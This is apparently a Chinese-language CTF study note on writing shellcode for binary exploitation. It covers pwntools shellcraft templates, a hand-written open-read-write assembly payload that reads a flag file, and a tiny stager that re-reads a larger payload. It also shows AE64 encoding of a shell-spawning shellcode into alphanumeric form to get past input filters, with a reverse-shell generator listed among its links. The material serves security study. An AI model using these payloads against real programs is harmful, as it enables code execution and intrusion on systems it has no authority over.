Shellcode 也是十分核心的技术🤔
Manual
[0] 目录
[1] 编写 shellcode
[1-1] shellcode 板子
Shellcodes database for study cases(已停止更新)
- 这个虽然停更了但是挺好用的,很适合找一些 length restrictions 的 shellcode
[1-2] 现有工具
[1-2-1] Pwntools
[1-2-1-1] shellcraft
速成 (更多请 RTFM 或查看 [1-3] )
1
2
3
4# arch: i386 / amd64
# os: linux
# func: open / read / write / mmap
shellcode = shellcraft.arch.os.func(args)
[1-2-1-2] asm
- 定义:
def asm(str) -> bytes
[1-3] 板子
常用 shellcraft
1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import *
# open('./flag')
shellcode_open = shellcraft.open('./flag')
# read(fd,addr,nbytes)
shellcode_read = shellcraft.read(0,0xBABECAFE,0x80)
# 其他用法: shellcraft.read('eax','esp',0x100)
# write(fd,addr,nbytes)
shellcode_read = shellcraft.write(1,0xBABECAFE,0x80)
# mmap(addr,len,prot,flags,fd,offset)
shellcode_mmap = shellcraft.mmap(0xBABECAFE,0x80,7,34,0,0)不用堆栈的
orw
,字符串”flag\x00\x00\x00\x00”需要提前布置好.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17shellcode1 = '''
mov rdi,0x2333008 # 指向"flag\x00\x00\x00\x00"的指针
xor esi,esi
mov rax,2
syscall # open('./flag')
xor edx,edx
mov rdi,3 # fd = 3
mov rdx,0x50 # nbytes = 0x50
mov esi,0x2333100 # address = 0x2333100
mov rax,0
syscall # read(3,0x2333100,0x50)
mov rdi,1 # stdin = 1
mov rdx,0x50 # nbytes = 0x50
mov esi,0x2333100 # address = 0x2333100
mov rax,1
syscall # write(1,0x2333100,0x50)
'''
[1-4] 在线网站
Online x86 and x64 Intel Instruction Assembler: 在线编写 shellcode 和反汇编 shellcode,目前只支持 x86/x64
Online Assembler and Disassembler: 另一个更全的在线编写 shellcode 和反汇编 shellcode 网站
Shellcodes database for study cases: shellcode 数据库,支持很多指令集与操作系统
Exploit Database Shellcodes: 另一个 shellcode 数据库
Online - Reverse Shell Generator: 生成反弹 shell 的命令
[1-5] 手搓 shellcode
传参顺序: rdi,rsi,rdx,rcx,r8,r9
存系统调用号的寄存器: rax
[1-6] C 代码提取 shellcode
[2] shellcode restrictions & bypass (限制与绕过)
[2-1] Length restrictions (长度约束)
[2-1-1] restriction
shellcode 限制在 xx bytes 以内
[2-1-2] bypass1 - 压缩 shellcode
构造一次 SYS_read 再去读一遍
1
2
3
4
5
6
7shellcode = '''
xchg rdi,rsi
pop rdx
xor eax,eax
syscall
'''
shellcode = asm(shellcode) + b'\xeb\xf6'上述 shellcode 只有 0x10 大小,
可以去 Shellcodes database for study cases(已停止更新) 找比较小的 shellcode
常用压缩方式
⚠ 观察
寄存器 + 栈
的状态长寄存器改为短寄存器
rax(8bytes)
->eax(4bytes)
->ax(2bytes)
->ah/al(1byte)
置零
mov reg, 0
->xor reg, reg
多用
push / pop
多用
cdq
来将rdx
置零多用
xchg
交换reg1
和reg2
- 观察执行 shellcode 时的 context(上下文),用上下文的一些寄存器来初始化
没什么用的积累
1
mov edx,7 ---> cdq; mov dl,7
[2-1-3] bypass2 - 二次 read
[2-2] seccomp 禁用
[2-2-1] restriction
程序调用 seccomp
或 prctl
禁用了某些系统调用
本质是沙盒逃逸,后续打算这里只留下常用的汇编语句或者shellcraft语法,原理挪到 Pwn - Sandbox Escape Summary 中去
[2-2-2] bypass
本质是对 IO stream 的汇编考察,学习这一部分应当积累足够多的相关知识。
open
read
1 | GPT 有关 read 的拓展 |
write
废弃,待整理
1 | 使用 `seccomp-tools dump ./pwn` 来查看 elf 文件被禁用了哪些调用 |
[2-3] alphanumeric shellcode (字母+数字构成)
[2-3-1] Manual
[2-3-2] restriction
shellcode 只能由字母和数字组成
[2-3-3] shellcode 生成:
这种 shellcode 可以由工具 ALPHA3 直接生成,
但 alpha3 的 build 有点儿麻烦,不如直接用杭电一位师傅写的 AE64,
AE64 可以将任何 AMD64
架构的 shellcode 转换为 alphanumeric shellcode
[2-3-4] 示例:
AE64 在 github 的 README 有更详细的介绍
简单示例1
2
3
4
5
6
7
8
9
10from ae64 import AE64
from pwn import *
context.arch='amd64'
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))
进阶选项1
2
3
4
5enc_shellcode = AE64().encode(shellcode)
# equal to
enc_shellcode = AE64().encode(shellcode, 'rax', 0, 'fast')
# And we can use 'small' strategy to generate smaller alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode, 'rax', 0, 'small')